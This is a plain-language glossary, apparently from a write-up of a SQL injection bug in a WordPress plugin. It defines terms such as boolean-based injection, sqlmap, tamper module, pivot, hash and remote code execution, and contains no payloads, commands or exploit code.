admin-ajax.php: the WordPress file that receives background requests and routes them to the right plugin.- Authentication key: a secret string that proves the identity of software or a user, similar to a password.
- Boolean-based injection: an attack technique that asks the database yes/no questions and infers data from the difference in responses.
- Database: an organised store of data, made of tables of rows and columns.
- DBMS: database management system, the software that runs a database, such as MySQL.
- Duplicate report: a second report of a bug that is fixed by the same change as another, so it is counted once.
- Hash: a scrambled fingerprint of a value such as a password, stored instead of the value itself.
- HTML: the language describing the content and structure of a web page.
- iThemes-Sync: a WordPress plugin used to synchronise sites, mentioned here because a key belonging to it was found in the database.
- ORDER BY: the part of an SQL query that says how to sort the results.
- Parameter: an extra named value attached to a request, like a field on a form.
- PII: personally identifiable information, data that can identify a real person.
- Pivot: using one foothold to reach another, more valuable one.
- Plugin: an add-on that gives WordPress an extra feature.
- PoC (proof of concept): a demonstration that a bug is real, usually the smallest set of steps that produces the effect.
- Query: a question written in SQL and sent to a database.
- Remote code execution (RCE): making a server run commands chosen by the attacker.
- Salt: random extra data mixed into a hash so the same input gives a different result on each site.
- Sanitisation: cleaning input so it cannot change the meaning of a query or command.
- SELECT: the part of an SQL query that says which columns to return.
- Shortcode: WordPress square-bracket shorthand, like
[display-frm-data], replaced with generated content when the page is built. - SQL: the language used to ask a database questions.
- SQL injection: a flaw where user input becomes part of an SQL query and changes its meaning.
- sqlmap: a tool that automates SQL injection and data extraction.
- Table: one spreadsheet-like collection of records inside a database.
- Tamper module: a sqlmap add-on that rewrites payloads, for example to avoid certain characters.
- Unauthenticated: without logging in, so available to anyone.
- Webroot: the folder on the server where the website's files live.
- WordPress: a popular system for building and running websites.